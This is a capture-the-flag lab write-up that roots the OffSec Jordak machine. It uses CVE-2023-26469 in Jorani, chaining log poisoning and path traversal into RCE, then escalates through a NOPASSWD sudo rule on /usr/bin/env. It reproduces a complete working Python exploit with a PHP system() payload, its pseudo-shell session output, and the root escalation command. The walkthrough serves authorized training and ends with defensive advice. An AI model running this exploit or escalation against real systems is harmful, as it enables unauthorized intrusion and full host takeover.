OffSec Proving Grounds Jordak — Jorani CVE-2023-26469
In this Art of Vector walkthrough, we take OffSec Proving Grounds Jordak from a quiet two-port scan to full root by chaining CVE-2023-26469 in Jorani — log poisoning plus path traversal for unauthenticated RCE — then abusing a NOPASSWD sudo rule for /usr/bin/env.
Lab only. All testing was performed in an authorized training environment. Never run these techniques against systems you do not own or do not have explicit written permission to assess.
Summary
Jordak looks quiet at first glance. A full TCP scan shows only SSH on 22 and Apache on 80, and the web title is the stock Ubuntu default page. The lab name and the reachable /session/login path tell a different story: the host is running Jorani, a leave and overtime management system.
Public research lands on CVE-2023-26469: unauthenticated remote code execution in Jorani prior to 1.0.2, built from log poisoning, header-based redirection bypass, and path traversal into the daily PHP log. The PoC yields a pseudo-shell as jordak. From there, sudo -l shows passwordless execution of /usr/bin/env, which is enough to run commands as root.
Enumeration
Nmap
Start with a full TCP scan plus service/version detection and default scripts:
nmap -sV -sC -p- 192.168.120.109 -v
Full scan output:
Completed NSE at 23:00, 0.00s elapsed
Nmap scan report for 192.168.120.109
Host is up (0.031s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 76:18:f1:19:6b:29:db:da:3d:f6:7b:ab:f4:b5:63:e0 (ECDSA)
|_ 256 cb:d8:d6:ef:82:77:8a:25:32:08:dd:91:96:8d:ab:7d (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-trane-info: Problem with XML parsing of /evox/about
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-favicon: Unknown favicon MD5: 96C540E05EFE5C9E11F15DD5CE70BB0F
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Port 22 is ordinary SSH. Without credentials, it is not the initial-access path. Port 80 is the attack surface — but the default Apache banner is a distraction, not the product.
Identifying Jorani
The machine name Jordak is a strong hint toward Jorani. Confirm by hitting the login route used by the application:
http://192.168.120.109/session/login
That path is enough to stop generic fuzzing and move into product-specific CVE research for Jorani leave management.
Exploitation path
CVE-2023-26469
CVE-2023-26469 affects Jorani prior to 1.0.2. The public PoC (by Guilhem Rioux / @jrjgjk) chains three issues:
- Log poisoning — attacker-controlled input (including PHP) is written into the application log.
- Path traversal via the language parameter — the login request can point the app at
../../application/logs. - Header-based command delivery — a random custom HTTP header carries a base64-encoded command; when the poisoned log is rendered through
/pages/view/, that payload executes.
PoC reference: Orange-Cyberdefense / CVE_Jorani.py
PoC (poc.py)
"""
vulnerability covered by CVE-2023-26469
"""
import readline
import requests
import datetime
import sys
import re
import base64
import random
import string
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
msg = lambda x,y="\n":print(f'\x1b[92m[+]\x1b[0m {x}', end=y)
err = lambda x,y="\n":print(f'\x1b[91m[x]\x1b[0m {x}', end=y)
log = lambda x,y="\n":print(f'\x1b[93m[?]\x1b[0m {x}', end=y)
CSRF_PATTERN = re.compile('<input type="hidden" name="csrf_test_jorani" value="(.*?)"')
CMD_PATTERN = re.compile('---------(.*?)---------', re.S)
URLS = {
'login' : '/session/login',
'view' : '/pages/view/',
}
alphabet = string.ascii_uppercase
HEADER_NAME = ''.join(random.choice(alphabet) for i in range(12))
BypassRedirect = {
'X-REQUESTED-WITH' : 'XMLHttpRequest',
HEADER_NAME : ""
}
INPUT = "\x1b[92mjrjgjk\x1b[0m@\x1b[41mjorani\x1b[0m(PSEUDO-TERM)\n$ " # The input used for the pseudo term
u = lambda x,y: x + URLS[y]
POISON_PAYLOAD = "<?php if(isset($_SERVER['HTTP_" + HEADER_NAME + "'])){system(base64_decode($_SERVER['HTTP_" + HEADER_NAME + "']));} ?>"
PATH_TRAV_PAYLOAD = "../../application/logs"
if __name__ == '__main__':
print("""
/!\\ Do not use this if you are not authorized to /!\\
""")
log("POC made by @jrjgjk (Guilhem RIOUX)", "\n\n")
if(len(sys.argv) == 1):
err(f"Usage: {sys.argv[0]} <url>")
exit(0)
log(f"Header used for exploit: {HEADER_NAME}")
t = sys.argv[1]
s = requests.Session()
log("Requesting session cookie")
res = s.get(u(t,"login"), verify = False)
C = s.cookies.get_dict()
Date = datetime.date.today()
log_file_name = f"log-{Date.year}-{str(Date.month).zfill(2)}-{str(Date.day).zfill(2)}"
csrf_token = re.findall(CSRF_PATTERN, res.text)[0]
log(f"Poisonning log file with payload: '{POISON_PAYLOAD}'")
log(f"Set path traversal to '{PATH_TRAV_PAYLOAD}'")
msg(f"Recoveredd CSRF Token: {csrf_token}")
data = {
"csrf_test_jorani" : csrf_token,
"last_page" : "session/login",
"language" : PATH_TRAV_PAYLOAD,
"login" : POISON_PAYLOAD,
"CipheredValue" : "DummyPassword"
}
s.post(u(t,"login"), data=data)
log(f"Accessing log file: {log_file_name}")
exp_page = t + URLS['view'] + log_file_name
### Shell
cmd = ""
while True:
cmd = input(INPUT)
if(cmd in ['x', 'exit', 'quit']):
break
elif(cmd == ""):
continue
else:
BypassRedirect[HEADER_NAME] = base64.b64encode(b"echo ---------;" + cmd.encode() + b" 2>&1;echo ---------;")
res = s.get(exp_page, headers=BypassRedirect)
cmdRes = re.findall(CMD_PATTERN, res.text)
try:
print(cmdRes[0])
except:
print(res.text)
err("Wow, there was a problem, are you sure of the URL ??")
err('exiting..')
exit(0)
Running the PoC
From the lab working directory:
python poc.py http://192.168.120.109
Full session:
/!\ Do not use this if you are not authorized to /!\
[?] POC made by @jrjgjk (Guilhem RIOUX)
[?] Header used for exploit: EONVSJMUNYAX
[?] Requesting session cookie
[?] Poisonning log file with payload: '<?php if(isset($_SERVER['HTTP_EONVSJMUNYAX'])){system(base64_decode($_SERVER['HTTP_EONVSJMUNYAX']));} ?>'
[?] Set path traversal to '../../application/logs'
[+] Recoveredd CSRF Token: c24c1317c4d8eb134788801e06e50f15
[?] Accessing log file: log-2026-09-04
jrjgjk@jorani(PSEUDO-TERM)
$ id
uid=1000(jordak) gid=1000(jordak) groups=1000(jordak),27(sudo)
jrjgjk@jorani(PSEUDO-TERM)
$ sudo -l
Matching Defaults entries for jordak on jordak:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jordak may run the following commands on jordak:
(ALL : ALL) ALL
(ALL) NOPASSWD: /usr/bin/env
jrjgjk@jorani(PSEUDO-TERM)
$ sudo /usr/bin/env
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
LANG=C
MAIL=/var/mail/root
LOGNAME=root
USER=root
HOME=/root
SHELL=/bin/bash
TERM=unknown
SUDO_COMMAND=/usr/bin/env
SUDO_USER=jordak
SUDO_UID=1000
SUDO_GID=1000
jrjgjk@jorani(PSEUDO-TERM)
$ sudo /usr/bin/env whoami
root
Initial access lands as the local user jordak, already in the sudo group. The NOPASSWD rule on /usr/bin/env is the privilege-escalation path.
Why this works
Three conditions align:
- Jorani is reachable without authentication hardening on the management UI.
- The vulnerable release still writes attacker-influenced data into PHP log files that can be included.
- Path traversal plus a spoofable request path turns a daily log into an executable RCE surface.
That turns an unauthenticated leave-management login into command execution on the host.
Privilege escalation
env can execute an arbitrary program. With passwordless sudo on that binary, command execution as root is immediate:
sudo /usr/bin/env whoami
root
For a root shell, the same pattern works with a shell binary (for example sudo /usr/bin/env /bin/bash), consistent with known env sudo abuse patterns.
Root outcome
Jordak is a short, high-signal chain:
- recon finds only SSH and Apache
- the default Ubuntu page is a red herring; Jorani is the real product
- CVE-2023-26469 yields unauthenticated RCE as
jordak NOPASSWDsudo on/usr/bin/envelevates to root
Why this machine is a good lesson
Jordak rewards precise product identification and careful reading of sudo rules.
The default Apache title can waste time if you treat the host as an empty install. Once Jorani is named, the CVE path is direct. After foothold, the lesson shifts from exotic local exploits to simple privilege misconfiguration: a passwordless helper binary is still a root path when it can launch other programs.
Defensive takeaways
- Patch Jorani to
1.0.2or later for CVE-2023-26469. - Configure log files with a non-PHP extension and deny web access to the log directory.
- Do not expose leave-management UIs to untrusted networks without strong auth and network controls.
- Avoid
NOPASSWDrules on wrappers likeenvthat can execute arbitrary programs. - Monitor for anomalous custom HTTP headers and path-traversal patterns against login and page-view endpoints.
References
- CVE-2023-26469 (NVD)
- Jorani PoC (Orange Cyberdefense)
- Metasploit: jorani_path_trav
- Jorani v1.0.2 security release
- GTFOBins: env
Unauthorized access is illegal. This write-up is for education and authorized lab work only.
